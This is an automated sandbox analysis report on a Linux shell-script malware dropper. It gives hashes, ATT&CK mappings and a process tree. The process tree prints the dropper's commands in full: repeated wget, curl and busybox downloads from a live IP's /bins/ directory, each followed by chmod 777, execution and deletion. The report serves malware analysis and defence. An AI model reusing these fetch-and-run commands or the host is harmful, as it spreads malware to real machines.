c22badb0701478cf18375cbe588448cc661fc80659048d7f86d6567efa44fb2e

Analysis

max time kernel
22s
max time network
26s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
28/10/2024, 01:39

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General

Target
13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh
Size 10KB
Sample241028-b28gtsxcpg
SHA256 13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040
MD5 c27e3dbba79b6afbd8c32c4e50cffe76
SHA1 b2ec5ed7bd931b3a3b970e1d5d209d031219a547
SHA512 382804bca6a3c36dfe896726e67efbf903aede59316574bba39dd8b943f31a5caefcd2d666eb0bd1513c38a33fcde0e4d9245781648860f8c077675e5206f023
SSDEEP 192:mhN4hJ8oKCm/mPmympmFmO/1JdUJh1s8hN4hJRJdUJhXm/mPmympmFmWo:eoKnue3kYO/Isrue3kYWo
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 7 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
768	chmod
775	chmod
687	chmod
698	chmod
718	chmod
733	chmod
750	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw	689	xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
/tmp/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF	699	fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
/tmp/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB	719	9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
/tmp/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o	734	jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
/tmp/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey	752	L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
/tmp/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod	769	vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
/tmp/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG	776	5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG

Checks CPU configuration 1 TTPs 7 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 14 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF	curl
File opened for modification	/tmp/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB	curl
File opened for modification	/tmp/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o	curl
File opened for modification	/tmp/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey	curl
File opened for modification	/tmp/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod	curl
File opened for modification	/tmp/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG	curl
File opened for modification	/tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw	curl

/tmp/13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh
/tmp/13f9c3ed50c26b9112e9e22469f5face1bf594623f0369925501490d0bdef040.sh
1⤵
PID:660
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:663
- /usr/bin/wget
  wget http://87.120.84.230/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  PID:669
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  PID:685
- /bin/chmod
  chmod 777 xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  ./xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  - Executes dropped EXE
  PID:689
- /bin/rm
  rm xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
  2⤵
  PID:690
- /usr/bin/wget
  wget http://87.120.84.230/bins/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
  2⤵
  PID:692
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:695
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
  2⤵
  PID:697
- /bin/chmod
  chmod 777 fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
  2⤵
  - File and Directory Permissions Modification
  PID:698
- /tmp/fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
  ./fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
  2⤵
  - Executes dropped EXE
  PID:699
- /bin/rm
  rm fBl2KigufHZnmQqWghZFomThmvhAVfHNsF
  2⤵
  PID:700
- /usr/bin/wget
  wget http://87.120.84.230/bins/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
  2⤵
  PID:701
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:702
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
  2⤵
  PID:709
- /bin/chmod
  chmod 777 9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
  2⤵
  - File and Directory Permissions Modification
  PID:718
- /tmp/9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
  ./9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
  2⤵
  - Executes dropped EXE
  PID:719
- /bin/rm
  rm 9ekUy3pPFLPyGLw2h6RfxlOZRK2qt1lZFB
  2⤵
  PID:720
- /usr/bin/wget
  wget http://87.120.84.230/bins/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
  2⤵
  PID:722
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
  2⤵
  PID:729
- /bin/chmod
  chmod 777 jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
  ./jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm jRM4slh846TuCfMSUvIaQLCg29n4oFbP3o
  2⤵
  PID:736
- /usr/bin/wget
  wget http://87.120.84.230/bins/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:743
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
  2⤵
  PID:748
- /bin/chmod
  chmod 777 L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
  ./L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm L3L3AWJWz1jZhxSYZHCvA9q8LdsOc9rGey
  2⤵
  PID:753
- /usr/bin/wget
  wget http://87.120.84.230/bins/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
  2⤵
  PID:755
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
  2⤵
  PID:766
- /bin/chmod
  chmod 777 vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
  2⤵
  - File and Directory Permissions Modification
  PID:768
- /tmp/vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
  ./vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
  2⤵
  - Executes dropped EXE
  PID:769
- /bin/rm
  rm vlBRkxc2pXZfCqjxBIXpWIdWRcl8qgnFod
  2⤵
  PID:770
- /usr/bin/wget
  wget http://87.120.84.230/bins/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
  2⤵
  PID:771
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
  2⤵
  PID:774
- /bin/chmod
  chmod 777 5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
  ./5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
  2⤵
  - Executes dropped EXE
  PID:776
- /bin/rm
  rm 5ZJMWA4qvJDnVJiAuQPlROzRn70kAg8FpG
  2⤵
  PID:777
- /usr/bin/wget
  wget http://87.120.84.230/bins/2ffYLp5CKNrI7Xt5HXl6mWqJj4hneNkta4
  2⤵
  PID:778

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw

Path /tmp/xOXcb0EhgEUriloemCzxNbO7pDrV8hlUkw
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads